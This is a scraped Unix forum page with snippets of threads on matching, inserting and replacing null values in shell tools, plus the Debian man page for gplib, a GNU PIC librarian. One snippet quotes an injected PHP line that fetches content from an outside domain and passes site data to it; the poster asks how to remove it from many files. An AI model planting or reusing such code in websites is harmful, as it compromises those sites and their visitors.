Insert string 'NULL' where there is a null value Post: 302425109

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1. UNIX for Dummies Questions & Answers

GREP a string with NULL Character

Does anyone know how to use grep/egrep to find a string that contains a null character? i.e.: the string looks like this: null0001nullN well I want to be able to : grep '0001N' is there a wildcard character or something that I can put in the grep to include the nulls?

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check for not null string in file

Hi, If, in a text file a string is expected at a certain fixed position(for eg at position 5 or from 5-10 on every line) how to check whether data is present on that position or not? Thnx in advance

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Hi, I need to check for value not equal (<>) to 21 and not equal empty or null values. Please modify this script if then echo "$VALUE,$BSC_NAME,$BSC_ID" > $OUT_FILE/power_up.out end if TQ

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replace a complex string with null

Hello, I need a script or one liner possible in perl or awk ( as sed shows error ) I want to replace <?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER);?> with blank or null 1) in a file 2) in many directories recursively.

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insert null in unix files

Hi everybody, How to add null values in unix file? This is what was asked to me in an interview.

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Hello, I would assume the expression ^$ should match a null string. Yet when I run: echo -n | sed 's/^$/nullstring/' I get no output. Can anyone tell me why?

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awk Problem while insert null field to file

Dear All, I have the following input file. I want to replace data with null values. I/P File: 9022334455|2008-12-06 06:10:21|2|Error@@@|esoo8erp| 9024334432|2008-12-06 08:40:59|6|Error@@@|6y2o8e6r| O/P File: 9022334455||2||esoo8erp| 9024334432||6||6y2o8e6r| ...

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I have a string like In this string I want to delete both "." and ":", means I want the output as: How can I do that using "tr" or any other such command?

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I kind of found out the hard way that I am not able to manipulate the null value, the long silence that happens when there is no value returned. I am looking for PIDs, and when there is no PID return, I wanted to handle this special scenario. Here is my script. #!/bin/bash LAN_VARIABLE=...

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Issue in inserting null string in array

I am getting some values from a file and putting them in an array..but the null strings are not getting passed to the array. So during printing the elements ,the null string is not showing in the output. during array size calculation it is also excluding null.Please let me know how to do it. # cat...

LEARN ABOUT DEBIAN

gplib

GPLIB(1)							Linux user's manual							  GPLIB(1)

NAME

       gplib - GNU PIC librarian

SYNOPSIS

       gplib [options] library [member]

WARNING

       The  information  in  this man page is an extract from the full documentation of gputils and is limited to the meaning of the options.  For
       complete and current documentation, refer to "gputils.ps" located in the gputils docs directory.

DESCRIPTION

       gplib creates, modifies, and extracts from COFF archives for Microchip (TM) PIC (TM) micro-controllers.	gplib is part of  gputils.   Check
       the gputils(1) manpage for details on other GNU PIC utilities.

OPTIONS

       -c, --create
	      Create a new library.

       -d, --delete
	      Delete member from library.

       -h, --help
	      Show the usage message.

       -n, --no-index
	      Don't add symbol index.

       -q, --quiet
	      Quiet mode.

       -r, --replace
	      Add or replace member from library.

       -s, --symbols
	      List global symbols in library.

       -t, --list
	      List members in library.

       -v, --version
	      Show the version.

       -x, --extract
	      Extract member from library.

SEE ALSO

       gputils(1)

AUTHOR

       Craig Franklin <craigfranklin@users.sourceforge.net>

COPYRIGHT

       Copyright (C) 2002, 2003, 2004, 2005 Craig Franklin

       This  program  is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by
       the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

       This program is distributed in the hope that it will be useful, but WITHOUT ANY	WARRANTY;  without  even  the  implied	warranty  of  MER-
       CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.

       You  should  have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation,
       Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

gputils-0.13.7							    2007-10-27								  GPLIB(1)

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

GREP a string with NULL Character

Discussion started by: weerich

2. Shell Programming and Scripting

check for not null string in file

Discussion started by: misenkiser

3. Shell Programming and Scripting

How to check for null or empty string

Discussion started by: doer

4. Shell Programming and Scripting

replace a complex string with null

Discussion started by: fed.linuxgossip